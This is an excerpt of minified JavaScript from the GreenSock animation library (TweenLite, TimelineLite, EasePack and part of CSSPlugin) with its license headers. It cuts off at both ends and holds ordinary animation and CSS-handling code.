i,s=this._targets;if(s)for(i=s.length;--i>-1;)this._siblings[i]=$(s[i],this,!0);else this._siblings=$(this.target,this,!0)}return C.prototype._enabled.call(this,t,e),this._notifyPluginsOfEnabled&&this._firstPT?I._onPluginEvent(t?"_onEnable":"_onDisable",this):!1},I.to=function(t,e,i){return new I(t,e,i)},I.from=function(t,e,i){return i.runBackwards=!0,i.immediateRender=0!=i.immediateRender,new I(t,e,i)},I.fromTo=function(t,e,i,s){return s.startAt=i,s.immediateRender=0!=s.immediateRender&&0!=i.immediateRender,new I(t,e,s)},I.delayedCall=function(t,e,i,s,n){return new I(e,0,{delay:t,onComplete:e,onCompleteParams:i,onCompleteScope:s,onReverseComplete:e,onReverseCompleteParams:i,onReverseCompleteScope:s,immediateRender:!1,useFrames:n,overwrite:0})},I.set=function(t,e){return new I(t,0,e)},I.getTweensOf=function(t,e){if(null==t)return[];t="string"!=typeof t?t:I.selector(t)||t;var i,s,n,r;if((m(t)||E(t))&&"number"!=typeof t[0]){for(i=t.length,s=[];--i>-1;)s=s.concat(I.getTweensOf(t[i],e));for(i=s.length;--i>-1;)for(r=s[i],n=i;--n>-1;)r===s[n]&&s.splice(i,1)}else for(s=$(t).concat(),i=s.length;--i>-1;)(s[i]._gc||e&&!s[i].isActive())&&s.splice(i,1);return s},I.killTweensOf=I.killDelayedCallsTo=function(t,e,i){"object"==typeof e&&(i=e,e=!1);for(var s=I.getTweensOf(t,e),n=s.length;--n>-1;)s[n]._kill(i,t)};var J=v("plugins.TweenPlugin",function(t,e){this._overwriteProps=(t||"").split(","),this._propName=this._overwriteProps[0],this._priority=e||0,this._super=J.prototype},!0);if(r=J.prototype,J.version="1.10.1",J.API=2,r._firstPT=null,r._addTween=function(t,e,i,s,n,r){var a,o;return null!=s&&(a="number"==typeof s||"="!==s.charAt(1)?Number(s)-i:parseInt(s.charAt(0)+"1",10)*Number(s.substr(2)))?(this._firstPT=o={_next:this._firstPT,t:t,p:e,s:i,c:a,f:"function"==typeof t[e],n:n||e,r:r},o._next&&(o._next._prev=o),o):void 0},r.setRatio=function(t){for(var e,i=this._firstPT,s=1e-6;i;)e=i.c*t+i.s,i.r?e=Math.round(e):s>e&&e>-s&&(e=0),i.f?i.t[i.p](e):i.t[i.p]=e,i=i._next},r._kill=function(t){var e,i=this._overwriteProps,s=this._firstPT;if(null!=t[this._propName])this._overwriteProps=[];else for(e=i.length;--e>-1;)null!=t[i[e]]&&i.splice(e,1);for(;s;)null!=t[s.n]&&(s._next&&(s._next._prev=s._prev),s._prev?(s._prev._next=s._next,s._prev=null):this._firstPT===s&&(this._firstPT=s._next)),s=s._next;return!1},r._roundProps=function(t,e){for(var i=this._firstPT;i;)(t[this._propName]||null!=i.n&&t[i.n.split(this._propName+"_").join("")])&&(i.r=e),i=i._next},I._onPluginEvent=function(t,e){var i,s,n,r,a,o=e._firstPT;if("_onInitAllProps"===t){for(;o;){for(a=o._next,s=n;s&&s.pr>o.pr;)s=s._next;(o._prev=s?s._prev:r)?o._prev._next=o:n=o,(o._next=s)?s._prev=o:r=o,o=a}o=e._firstPT=n}for(;o;)o.pg&&"function"==typeof o.t[t]&&o.t[t]()&&(i=!0),o=o._next;return i},J.activate=function(t){for(var e=t.length;--e>-1;)t[e].API===J.API&&(U[(new t[e])._propName]=t[e]);return!0},d.plugin=function(t){if(!(t&&t.propName&&t.init&&t.API))throw"illegal plugin definition.";var e,i=t.propName,s=t.priority||0,n=t.overwriteProps,r={init:"_onInitTween",set:"setRatio",kill:"_kill",round:"_roundProps",initAll:"_onInitAllProps"},a=v("plugins."+i.charAt(0).toUpperCase()+i.substr(1)+"Plugin",function(){J.call(this,i,s),this._overwriteProps=n||[]},t.global===!0),o=a.prototype=new J(i);o.constructor=a,a.API=t.API;for(e in r)"function"==typeof t[e]&&(o[r[e]]=t[e]);return a.version=t.version,J.activate([a]),a},s=t._gsQueue){for(n=0;s.length>n;n++)s[n]();for(r in p)p[r].func||t.console.log("GSAP encountered missing dependency: com.greensock."+r)}o=!1}})("undefined"!=typeof module&&module.exports&&"undefined"!=typeof global?global:this||window,"TweenLite");


/*!
 * VERSION: 1.13.1
 * DATE: 2014-07-22
 * UPDATES AND DOCS AT: http://www.greensock.com
 *
 * @license Copyright (c) 2008-2014, GreenSock. All rights reserved.
 * This work is subject to the terms at http://www.greensock.com/terms_of_use.html or for
 * Club GreenSock members, the software agreement that was issued with your membership.
 * 
 * @author: Jack Doyle, jack@greensock.com
 */
var _gsScope="undefined"!=typeof module&&module.exports&&"undefined"!=typeof global?global:this||window;(_gsScope._gsQueue||(_gsScope._gsQueue=[])).push(function(){"use strict";_gsScope._gsDefine("TimelineLite",["core.Animation","core.SimpleTimeline","TweenLite"],function(t,e,i){var s=function(t){e.call(this,t),this._labels={},this.autoRemoveChildren=this.vars.autoRemoveChildren===!0,this.smoothChildTiming=this.vars.smoothChildTiming===!0,this._sortChildren=!0,this._onUpdate=this.vars.onUpdate;var i,s,r=this.vars;for(s in r)i=r[s],o(i)&&-1!==i.join("").indexOf("{self}")&&(r[s]=this._swapSelfInParams(i));o(r.tweens)&&this.add(r.tweens,0,r.align,r.stagger)},r=1e-10,n=i._internals,a=n.isSelector,o=n.isArray,h=n.lazyTweens,l=n.lazyRender,_=[],u=_gsScope._gsDefine.globals,p=function(t){var e,i={};for(e in t)i[e]=t[e];return i},f=function(t,e,i,s){t._timeline.pause(t._startTime),e&&e.apply(s||t._timeline,i||_)},c=function(t){var e,i=[],s=t.length;for(e=0;e!==s;i.push(t[e++]));return i},m=s.prototype=new e;return s.version="1.13.1",m.constructor=s,m.kill()._gc=!1,m.to=function(t,e,s,r){var n=s.repeat&&u.TweenMax||i;return e?this.add(new n(t,e,s),r):this.set(t,s,r)},m.from=function(t,e,s,r){return this.add((s.repeat&&u.TweenMax||i).from(t,e,s),r)},m.fromTo=function(t,e,s,r,n){var a=r.repeat&&u.TweenMax||i;return e?this.add(a.fromTo(t,e,s,r),n):this.set(t,r,n)},m.staggerTo=function(t,e,r,n,o,h,l,_){var u,f=new s({onComplete:h,onCompleteParams:l,onCompleteScope:_,smoothChildTiming:this.smoothChildTiming});for("string"==typeof t&&(t=i.selector(t)||t),a(t)&&(t=c(t)),n=n||0,u=0;t.length>u;u++)r.startAt&&(r.startAt=p(r.startAt)),f.to(t[u],e,p(r),u*n);return this.add(f,o)},m.staggerFrom=function(t,e,i,s,r,n,a,o){return i.immediateRender=0!=i.immediateRender,i.runBackwards=!0,this.staggerTo(t,e,i,s,r,n,a,o)},m.staggerFromTo=function(t,e,i,s,r,n,a,o,h){return s.startAt=i,s.immediateRender=0!=s.immediateRender&&0!=i.immediateRender,this.staggerTo(t,e,s,r,n,a,o,h)},m.call=function(t,e,s,r){return this.add(i.delayedCall(0,t,e,s),r)},m.set=function(t,e,s){return s=this._parseTimeOrLabel(s,0,!0),null==e.immediateRender&&(e.immediateRender=s===this._time&&!this._paused),this.add(new i(t,0,e),s)},s.exportRoot=function(t,e){t=t||{},null==t.smoothChildTiming&&(t.smoothChildTiming=!0);var r,n,a=new s(t),o=a._timeline;for(null==e&&(e=!0),o._remove(a,!0),a._startTime=0,a._rawPrevTime=a._time=a._totalTime=o._time,r=o._first;r;)n=r._next,e&&r instanceof i&&r.target===r.vars.onComplete||a.add(r,r._startTime-r._delay),r=n;return o.add(a,0),a},m.add=function(r,n,a,h){var l,_,u,p,f,c;if("number"!=typeof n&&(n=this._parseTimeOrLabel(n,0,!0,r)),!(r instanceof t)){if(r instanceof Array||r&&r.push&&o(r)){for(a=a||"normal",h=h||0,l=n,_=r.length,u=0;_>u;u++)o(p=r[u])&&(p=new s({tweens:p})),this.add(p,l),"string"!=typeof p&&"function"!=typeof p&&("sequence"===a?l=p._startTime+p.totalDuration()/p._timeScale:"start"===a&&(p._startTime-=p.delay())),l+=h;return this._uncache(!0)}if("string"==typeof r)return this.addLabel(r,n);if("function"!=typeof r)throw"Cannot add "+r+" into the timeline; it is not a tween, timeline, function, or string.";r=i.delayedCall(0,r)}if(e.prototype.add.call(this,r,n),(this._gc||this._time===this._duration)&&!this._paused&&this._duration<this.duration())for(f=this,c=f.rawTime()>r._startTime;f._timeline;)c&&f._timeline.smoothChildTiming?f.totalTime(f._totalTime,!0):f._gc&&f._enabled(!0,!1),f=f._timeline;return this},m.remove=function(e){if(e instanceof t)return this._remove(e,!1);if(e instanceof Array||e&&e.push&&o(e)){for(var i=e.length;--i>-1;)this.remove(e[i]);return this}return"string"==typeof e?this.removeLabel(e):this.kill(null,e)},m._remove=function(t,i){e.prototype._remove.call(this,t,i);var s=this._last;return s?this._time>s._startTime+s._totalDuration/s._timeScale&&(this._time=this.duration(),this._totalTime=this._totalDuration):this._time=this._totalTime=this._duration=this._totalDuration=0,this},m.append=function(t,e){return this.add(t,this._parseTimeOrLabel(null,e,!0,t))},m.insert=m.insertMultiple=function(t,e,i,s){return this.add(t,e||0,i,s)},m.appendMultiple=function(t,e,i,s){return this.add(t,this._parseTimeOrLabel(null,e,!0,t),i,s)},m.addLabel=function(t,e){return this._labels[t]=this._parseTimeOrLabel(e),this},m.addPause=function(t,e,i,s){return this.call(f,["{self}",e,i,s],this,t)},m.removeLabel=function(t){return delete this._labels[t],this},m.getLabelTime=function(t){return null!=this._labels[t]?this._labels[t]:-1},m._parseTimeOrLabel=function(e,i,s,r){var n;if(r instanceof t&&r.timeline===this)this.remove(r);else if(r&&(r instanceof Array||r.push&&o(r)))for(n=r.length;--n>-1;)r[n]instanceof t&&r[n].timeline===this&&this.remove(r[n]);if("string"==typeof i)return this._parseTimeOrLabel(i,s&&"number"==typeof e&&null==this._labels[i]?e-this.duration():0,s);if(i=i||0,"string"!=typeof e||!isNaN(e)&&null==this._labels[e])null==e&&(e=this.duration());else{if(n=e.indexOf("="),-1===n)return null==this._labels[e]?s?this._labels[e]=this.duration()+i:i:this._labels[e]+i;i=parseInt(e.charAt(n-1)+"1",10)*Number(e.substr(n+1)),e=n>1?this._parseTimeOrLabel(e.substr(0,n-1),0,s):this.duration()}return Number(e)+i},m.seek=function(t,e){return this.totalTime("number"==typeof t?t:this._parseTimeOrLabel(t),e!==!1)},m.stop=function(){return this.paused(!0)},m.gotoAndPlay=function(t,e){return this.play(t,e)},m.gotoAndStop=function(t,e){return this.pause(t,e)},m.render=function(t,e,i){this._gc&&this._enabled(!0,!1);var s,n,a,o,u,p=this._dirty?this.totalDuration():this._totalDuration,f=this._time,c=this._startTime,m=this._timeScale,d=this._paused;if(t>=p?(this._totalTime=this._time=p,this._reversed||this._hasPausedChild()||(n=!0,o="onComplete",0===this._duration&&(0===t||0>this._rawPrevTime||this._rawPrevTime===r)&&this._rawPrevTime!==t&&this._first&&(u=!0,this._rawPrevTime>r&&(o="onReverseComplete"))),this._rawPrevTime=this._duration||!e||t||this._rawPrevTime===t?t:r,t=p+1e-4):1e-7>t?(this._totalTime=this._time=0,(0!==f||0===this._duration&&this._rawPrevTime!==r&&(this._rawPrevTime>0||0>t&&this._rawPrevTime>=0))&&(o="onReverseComplete",n=this._reversed),0>t?(this._active=!1,this._rawPrevTime>=0&&this._first&&(u=!0),this._rawPrevTime=t):(this._rawPrevTime=this._duration||!e||t||this._rawPrevTime===t?t:r,t=0,this._initted||(u=!0))):this._totalTime=this._time=this._rawPrevTime=t,this._time!==f&&this._first||i||u){if(this._initted||(this._initted=!0),this._active||!this._paused&&this._time!==f&&t>0&&(this._active=!0),0===f&&this.vars.onStart&&0!==this._time&&(e||this.vars.onStart.apply(this.vars.onStartScope||this,this.vars.onStartParams||_)),this._time>=f)for(s=this._first;s&&(a=s._next,!this._paused||d);)(s._active||s._startTime<=this._time&&!s._paused&&!s._gc)&&(s._reversed?s.render((s._dirty?s.totalDuration():s._totalDuration)-(t-s._startTime)*s._timeScale,e,i):s.render((t-s._startTime)*s._timeScale,e,i)),s=a;else for(s=this._last;s&&(a=s._prev,!this._paused||d);)(s._active||f>=s._startTime&&!s._paused&&!s._gc)&&(s._reversed?s.render((s._dirty?s.totalDuration():s._totalDuration)-(t-s._startTime)*s._timeScale,e,i):s.render((t-s._startTime)*s._timeScale,e,i)),s=a;this._onUpdate&&(e||(h.length&&l(),this._onUpdate.apply(this.vars.onUpdateScope||this,this.vars.onUpdateParams||_))),o&&(this._gc||(c===this._startTime||m!==this._timeScale)&&(0===this._time||p>=this.totalDuration())&&(n&&(h.length&&l(),this._timeline.autoRemoveChildren&&this._enabled(!1,!1),this._active=!1),!e&&this.vars[o]&&this.vars[o].apply(this.vars[o+"Scope"]||this,this.vars[o+"Params"]||_)))}},m._hasPausedChild=function(){for(var t=this._first;t;){if(t._paused||t instanceof s&&t._hasPausedChild())return!0;t=t._next}return!1},m.getChildren=function(t,e,s,r){r=r||-9999999999;for(var n=[],a=this._first,o=0;a;)r>a._startTime||(a instanceof i?e!==!1&&(n[o++]=a):(s!==!1&&(n[o++]=a),t!==!1&&(n=n.concat(a.getChildren(!0,e,s)),o=n.length))),a=a._next;return n},m.getTweensOf=function(t,e){var s,r,n=this._gc,a=[],o=0;for(n&&this._enabled(!0,!0),s=i.getTweensOf(t),r=s.length;--r>-1;)(s[r].timeline===this||e&&this._contains(s[r]))&&(a[o++]=s[r]);return n&&this._enabled(!1,!0),a},m._contains=function(t){for(var e=t.timeline;e;){if(e===this)return!0;e=e.timeline}return!1},m.shiftChildren=function(t,e,i){i=i||0;for(var s,r=this._first,n=this._labels;r;)r._startTime>=i&&(r._startTime+=t),r=r._next;if(e)for(s in n)n[s]>=i&&(n[s]+=t);return this._uncache(!0)},m._kill=function(t,e){if(!t&&!e)return this._enabled(!1,!1);for(var i=e?this.getTweensOf(e):this.getChildren(!0,!0,!1),s=i.length,r=!1;--s>-1;)i[s]._kill(t,e)&&(r=!0);return r},m.clear=function(t){var e=this.getChildren(!1,!0,!0),i=e.length;for(this._time=this._totalTime=0;--i>-1;)e[i]._enabled(!1,!1);return t!==!1&&(this._labels={}),this._uncache(!0)},m.invalidate=function(){for(var t=this._first;t;)t.invalidate(),t=t._next;return this},m._enabled=function(t,i){if(t===this._gc)for(var s=this._first;s;)s._enabled(t,!0),s=s._next;return e.prototype._enabled.call(this,t,i)},m.duration=function(t){return arguments.length?(0!==this.duration()&&0!==t&&this.timeScale(this._duration/t),this):(this._dirty&&this.totalDuration(),this._duration)},m.totalDuration=function(t){if(!arguments.length){if(this._dirty){for(var e,i,s=0,r=this._last,n=999999999999;r;)e=r._prev,r._dirty&&r.totalDuration(),r._startTime>n&&this._sortChildren&&!r._paused?this.add(r,r._startTime-r._delay):n=r._startTime,0>r._startTime&&!r._paused&&(s-=r._startTime,this._timeline.smoothChildTiming&&(this._startTime+=r._startTime/this._timeScale),this.shiftChildren(-r._startTime,!1,-9999999999),n=0),i=r._startTime+r._totalDuration/r._timeScale,i>s&&(s=i),r=e;this._duration=this._totalDuration=s,this._dirty=!1}return this._totalDuration}return 0!==this.totalDuration()&&0!==t&&this.timeScale(this._totalDuration/t),this},m.usesFrames=function(){for(var e=this._timeline;e._timeline;)e=e._timeline;return e===t._rootFramesTimeline},m.rawTime=function(){return this._paused?this._totalTime:(this._timeline.rawTime()-this._startTime)*this._timeScale},s},!0)}),_gsScope._gsDefine&&_gsScope._gsQueue.pop()(),function(t){"use strict";var e=function(){return(_gsScope.GreenSockGlobals||_gsScope)[t]};"function"==typeof define&&define.amd?define(["TweenLite"],e):"undefined"!=typeof module&&module.exports&&(require("./TweenLite.js"),module.exports=e())}("TimelineLite");



/*!
 * VERSION: beta 1.9.4
 * DATE: 2014-07-17
 * UPDATES AND DOCS AT: http://www.greensock.com
 *
 * @license Copyright (c) 2008-2014, GreenSock. All rights reserved.
 * This work is subject to the terms at http://www.greensock.com/terms_of_use.html or for
 * Club GreenSock members, the software agreement that was issued with your membership.
 * 
 * @author: Jack Doyle, jack@greensock.com
 **/
var _gsScope="undefined"!=typeof module&&module.exports&&"undefined"!=typeof global?global:this||window;(_gsScope._gsQueue||(_gsScope._gsQueue=[])).push(function(){"use strict";_gsScope._gsDefine("easing.Back",["easing.Ease"],function(t){var e,i,s,r=_gsScope.GreenSockGlobals||_gsScope,n=r.com.greensock,a=2*Math.PI,o=Math.PI/2,h=n._class,l=function(e,i){var s=h("easing."+e,function(){},!0),r=s.prototype=new t;return r.constructor=s,r.getRatio=i,s},_=t.register||function(){},u=function(t,e,i,s){var r=h("easing."+t,{easeOut:new e,easeIn:new i,easeInOut:new s},!0);return _(r,t),r},c=function(t,e,i){this.t=t,this.v=e,i&&(this.next=i,i.prev=this,this.c=i.v-e,this.gap=i.t-t)},p=function(e,i){var s=h("easing."+e,function(t){this._p1=t||0===t?t:1.70158,this._p2=1.525*this._p1},!0),r=s.prototype=new t;return r.constructor=s,r.getRatio=i,r.config=function(t){return new s(t)},s},f=u("Back",p("BackOut",function(t){return(t-=1)*t*((this._p1+1)*t+this._p1)+1}),p("BackIn",function(t){return t*t*((this._p1+1)*t-this._p1)}),p("BackInOut",function(t){return 1>(t*=2)?.5*t*t*((this._p2+1)*t-this._p2):.5*((t-=2)*t*((this._p2+1)*t+this._p2)+2)})),m=h("easing.SlowMo",function(t,e,i){e=e||0===e?e:.7,null==t?t=.7:t>1&&(t=1),this._p=1!==t?e:0,this._p1=(1-t)/2,this._p2=t,this._p3=this._p1+this._p2,this._calcEnd=i===!0},!0),d=m.prototype=new t;return d.constructor=m,d.getRatio=function(t){var e=t+(.5-t)*this._p;return this._p1>t?this._calcEnd?1-(t=1-t/this._p1)*t:e-(t=1-t/this._p1)*t*t*t*e:t>this._p3?this._calcEnd?1-(t=(t-this._p3)/this._p1)*t:e+(t-e)*(t=(t-this._p3)/this._p1)*t*t*t:this._calcEnd?1:e},m.ease=new m(.7,.7),d.config=m.config=function(t,e,i){return new m(t,e,i)},e=h("easing.SteppedEase",function(t){t=t||1,this._p1=1/t,this._p2=t+1},!0),d=e.prototype=new t,d.constructor=e,d.getRatio=function(t){return 0>t?t=0:t>=1&&(t=.999999999),(this._p2*t>>0)*this._p1},d.config=e.config=function(t){return new e(t)},i=h("easing.RoughEase",function(e){e=e||{};for(var i,s,r,n,a,o,h=e.taper||"none",l=[],_=0,u=0|(e.points||20),p=u,f=e.randomize!==!1,m=e.clamp===!0,d=e.template instanceof t?e.template:null,g="number"==typeof e.strength?.4*e.strength:.4;--p>-1;)i=f?Math.random():1/u*p,s=d?d.getRatio(i):i,"none"===h?r=g:"out"===h?(n=1-i,r=n*n*g):"in"===h?r=i*i*g:.5>i?(n=2*i,r=.5*n*n*g):(n=2*(1-i),r=.5*n*n*g),f?s+=Math.random()*r-.5*r:p%2?s+=.5*r:s-=.5*r,m&&(s>1?s=1:0>s&&(s=0)),l[_++]={x:i,y:s};for(l.sort(function(t,e){return t.x-e.x}),o=new c(1,1,null),p=u;--p>-1;)a=l[p],o=new c(a.x,a.y,o);this._prev=new c(0,0,0!==o.t?o:o.next)},!0),d=i.prototype=new t,d.constructor=i,d.getRatio=function(t){var e=this._prev;if(t>e.t){for(;e.next&&t>=e.t;)e=e.next;e=e.prev}else for(;e.prev&&e.t>=t;)e=e.prev;return this._prev=e,e.v+(t-e.t)/e.gap*e.c},d.config=function(t){return new i(t)},i.ease=new i,u("Bounce",l("BounceOut",function(t){return 1/2.75>t?7.5625*t*t:2/2.75>t?7.5625*(t-=1.5/2.75)*t+.75:2.5/2.75>t?7.5625*(t-=2.25/2.75)*t+.9375:7.5625*(t-=2.625/2.75)*t+.984375}),l("BounceIn",function(t){return 1/2.75>(t=1-t)?1-7.5625*t*t:2/2.75>t?1-(7.5625*(t-=1.5/2.75)*t+.75):2.5/2.75>t?1-(7.5625*(t-=2.25/2.75)*t+.9375):1-(7.5625*(t-=2.625/2.75)*t+.984375)}),l("BounceInOut",function(t){var e=.5>t;return t=e?1-2*t:2*t-1,t=1/2.75>t?7.5625*t*t:2/2.75>t?7.5625*(t-=1.5/2.75)*t+.75:2.5/2.75>t?7.5625*(t-=2.25/2.75)*t+.9375:7.5625*(t-=2.625/2.75)*t+.984375,e?.5*(1-t):.5*t+.5})),u("Circ",l("CircOut",function(t){return Math.sqrt(1-(t-=1)*t)}),l("CircIn",function(t){return-(Math.sqrt(1-t*t)-1)}),l("CircInOut",function(t){return 1>(t*=2)?-.5*(Math.sqrt(1-t*t)-1):.5*(Math.sqrt(1-(t-=2)*t)+1)})),s=function(e,i,s){var r=h("easing."+e,function(t,e){this._p1=t||1,this._p2=e||s,this._p3=this._p2/a*(Math.asin(1/this._p1)||0)},!0),n=r.prototype=new t;return n.constructor=r,n.getRatio=i,n.config=function(t,e){return new r(t,e)},r},u("Elastic",s("ElasticOut",function(t){return this._p1*Math.pow(2,-10*t)*Math.sin((t-this._p3)*a/this._p2)+1},.3),s("ElasticIn",function(t){return-(this._p1*Math.pow(2,10*(t-=1))*Math.sin((t-this._p3)*a/this._p2))},.3),s("ElasticInOut",function(t){return 1>(t*=2)?-.5*this._p1*Math.pow(2,10*(t-=1))*Math.sin((t-this._p3)*a/this._p2):.5*this._p1*Math.pow(2,-10*(t-=1))*Math.sin((t-this._p3)*a/this._p2)+1},.45)),u("Expo",l("ExpoOut",function(t){return 1-Math.pow(2,-10*t)}),l("ExpoIn",function(t){return Math.pow(2,10*(t-1))-.001}),l("ExpoInOut",function(t){return 1>(t*=2)?.5*Math.pow(2,10*(t-1)):.5*(2-Math.pow(2,-10*(t-1)))})),u("Sine",l("SineOut",function(t){return Math.sin(t*o)}),l("SineIn",function(t){return-Math.cos(t*o)+1}),l("SineInOut",function(t){return-.5*(Math.cos(Math.PI*t)-1)})),h("easing.EaseLookup",{find:function(e){return t.map[e]}},!0),_(r.SlowMo,"SlowMo","ease,"),_(i,"RoughEase","ease,"),_(e,"SteppedEase","ease,"),f},!0)}),_gsScope._gsDefine&&_gsScope._gsQueue.pop()();


/*!
 * VERSION: 1.13.0
 * DATE: 2014-07-17
 * UPDATES AND DOCS AT: http://www.greensock.com
 *
 * @license Copyright (c) 2008-2014, GreenSock. All rights reserved.
 * This work is subject to the terms at http://www.greensock.com/terms_of_use.html or for
 * Club GreenSock members, the software agreement that was issued with your membership.
 * 
 * @author: Jack Doyle, jack@greensock.com
 */
var _gsScope="undefined"!=typeof module&&module.exports&&"undefined"!=typeof global?global:this||window;(_gsScope._gsQueue||(_gsScope._gsQueue=[])).push(function(){"use strict";_gsScope._gsDefine("plugins.CSSPlugin",["plugins.TweenPlugin","TweenLite"],function(t,e){var i,r,s,n,a=function(){t.call(this,"css"),this._overwriteProps.length=0,this.setRatio=a.prototype.setRatio},o={},l=a.prototype=new t("css");l.constructor=a,a.version="1.13.0",a.API=2,a.defaultTransformPerspective=0,a.defaultSkewType="compensated",l="px",a.suffixMap={top:l,right:l,bottom:l,left:l,width:l,height:l,fontSize:l,padding:l,margin:l,perspective:l,lineHeight:""};var h,u,f,p,_,c,d=/(?:\d|\-\d|\.\d|\-\.\d)+/g,m=/(?:\d|\-\d|\.\d|\-\.\d|\+=\d|\-=\d|\+=.\d|\-=\.\d)+/g,g=/(?:\+=|\-=|\-|\b)[\d\-\.]+[a-zA-Z0-9]*(?:%|\b)/gi,v=/[^\d\-\.]/g,y=/(?:\d|\-|\+|=|#|\.)*/g,T=/opacity *= *([^)]*)/i,x=/opacity:([^;]*)/i,w=/alpha\(opacity *=.+?\)/i,b=/^(rgb|hsl)/,P=/([A-Z])/g,S=/-([a-z])/gi,k=/(^(?:url\(\"|url\())|(?:(\"\))$|\)$)/gi,R=function(t,e){return e.toUpperCase()},C=/(?:Left|Right|Width)/i,A=/(M11|M12|M21|M22)=[\d\-\.e]+/gi,O=/progid\:DXImageTransform\.Microsoft\.Matrix\(.+?\)/i,D=/,(?=[^\)]*(?:\(|$))/gi,M=Math.PI/180,L=180/Math.PI,N={},X=document,z=X.createElement("div"),I=X.createElement("img"),E=a._internals={_specialProps:o},F=navigator.userAgent,Y=function(){var t,e=F.indexOf("Android"),i=X.createElement("div");return f=-1!==F.indexOf("Safari")&&-1===F.indexOf("Chrome")&&(-1===e||Number(F.substr(e+8,1))>3),_=f&&6>Number(F.substr(F.indexOf("Version/")+8,1)),p=-1!==F.indexOf("Firefox"),/MSIE ([0-9]{1,}[\.0-9]{0,})/.exec(F)&&(c=parseFloat(RegExp.$1)),i.innerHTML="<a style='top:1px;opacity:.55;'>a</a>",t=i.getElementsByTagName("a")[0],t?/^0.55/.test(t.style.opacity):!1}(),B=function(t){return T.test("string"==typeof t?t:(t.currentStyle?t.currentStyle.filter:t.style.filter)||"")?parseFloat(RegExp.$1)/100:1},U=function(t){window.console&&console.log(t)},j="",W="",V=function(t,e){e=e||z;var i,r,s=e.style;if(void 0!==s[t])return t;for(t=t.charAt(0).toUpperCase()+t.substr(1),i=["O","Moz","ms","Ms","Webkit"],r=5;--r>-1&&void 0===s[i[r]+t];);return r>=0?(W=3===r?"ms":i[r],j="-"+W.toLowerCase()+"-",W+t):null},q=X.defaultView?X.defaultView.getComputedStyle:function(){},H=a.getStyle=function(t,e,i,r,s){var n;return Y||"opacity"!==e?(!r&&t.style[e]?n=t.style[e]:(i=i||q(t))?n=i[e]||i.getPropertyValue(e)||i.getPropertyValue(e.replace(P,"-$1").toLowerCase()):t.currentStyle&&(n=t.currentStyle[e]),null==s||n&&"none"!==n&&"auto"!==n&&"auto auto"!==n?n:s):B(t)},Q=E.convertToPixels=function(t,i,r,s,n){if("px"===s||!s)return r;if("auto"===s||!r)return 0;var o,l,h,u=C.test(i),f=t,p=z.style,_=0>r;if(_&&(r=-r),"%"===s&&-1!==i.indexOf("border"))o=r/100*(u?t.clientWidth:t.clientHeight);else{if(p.cssText="border:0 solid red;position:"+H(t,"position")+";line-height:0;","%"!==s&&f.appendChild)p[u?"borderLeftWidth":"borderTopWidth"]=r+s;else{if(f=t.parentNode||X.body,l=f._gsCache,h=e.ticker.frame,l&&u&&l.time===h)return l.width*r/100;p[u?"width":"height"]=r+s}f.appendChild(z),o=parseFloat(z[u?"offsetWidth":"offsetHeight"]),f.removeChild(z),u&&"%"===s&&a.cacheWidths!==!1&&(l=f._gsCache=f._gsCache||{},l.time=h,l.width=100*(o/r)),0!==o||n||(o=Q(t,i,r,s,!0))}return _?-o:o},G=E.calculateOffset=function(t,e,i){if("absolute"!==H(t,"position",i))return 0;var r="left"===e?"Left":"Top",s=H(t,"margin"+r,i);return t["offset"+r]-(Q(t,e,parseFloat(s),s.replace(y,""))||0)},Z=function(t,e){var i,r,s={};if(e=e||q(t,null))if(i=e.length)for(;--i>-1;)s[e[i].replace(S,R)]=e.getPropertyValue(e[i]);else for(i in e)s[i]=e[i];else if(e=t.currentStyle||t.style)for(i in e)"string"==typeof i&&void 0===s[i]&&(s[i.replace(S,R)]=e[i]);return Y||(s.opacity=B(t)),r=Pe(t,e,!1),s.rotation=r.rotation,s.skewX=r.skewX,s.scaleX=r.scaleX,s.scaleY=r.scaleY,s.x=r.x,s.y=r.y,we&&(s.z=r.z,s.rotationX=r.rotationX,s.rotationY=r.rotationY,s.scaleZ=r.scaleZ),s.filters&&delete s.filters,s},$=function(t,e,i,r,s){var n,a,o,l={},h=t.style;for(a in i)"cssText"!==a&&"length"!==a&&isNaN(a)&&(e[a]!==(n=i[a])||s&&s[a])&&-1===a.indexOf("Origin")&&("number"==typeof n||"string"==typeof n)&&(l[a]="auto"!==n||"left"!==a&&"top"!==a?""!==n&&"auto"!==n&&"none"!==n||"string"!=typeof e[a]||""===e[a].replace(v,"")?n:0:G(t,a),void 0!==h[a]&&(o=new fe(h,a,h[a],o)));if(r)for(a in r)"className"!==a&&(l[a]=r[a]);return{difs:l,firstMPT:o}},K={width:["Left","Right"],height:["Top","Bottom"]},J=["marginLeft","marginRight","marginTop","marginBottom"],te=function(t,e,i){var r=parseFloat("width"===e?t.offsetWidth:t.offsetHeight),s=K[e],n=s.length;for(i=i||q(t,null);--n>-1;)r-=parseFloat(H(t,"padding"+s[n],i,!0))||0,r-=parseFloat(H(t,"border"+s[n]+"Width",i,!0))||0;return r},ee=function(t,e){(null==t||""===t||"auto"===t||"auto auto"===t)&&(t="0 0");var i=t.split(" "),r=-1!==t.indexOf("left")?"0%":-1!==t.indexOf("right")?"100%":i[0],s=-1!==t.indexOf("top")?"0%":-1!==t.indexOf("bottom")?"100%":i[1];return null==s?s="0":"center"===s&&(s="50%"),("center"===r||isNaN(parseFloat(r))&&-1===(r+"").indexOf("="))&&(r="50%"),e&&(e.oxp=-1!==r.indexOf("%"),e.oyp=-1!==s.indexOf("%"),e.oxr="="===r.charAt(1),e.oyr="="===s.charAt(1),e.ox=parseFloat(r.replace(v,"")),e.oy=parseFloat(s.replace(v,""))),r+" "+s+(i.length>2?" "+i[2]:"")},ie=function(t,e){return"string"==typeof t&&"="===t.charAt(1)?parseInt(t.charAt(0)+"1",10)*parseFloat(t.substr(2)):parseFloat(t)-parseFloat(e)},re=function(t,e){return null==t?e:"string"==typeof t&&"="===t.charAt(1)?parseInt(t.charAt(0)+"1",10)*Number(t.substr(2))+e:parseFloat(t)},se=function(t,e,i,r){var s,n,a,o,l=1e-6;return null==t?o=e:"number"==typeof 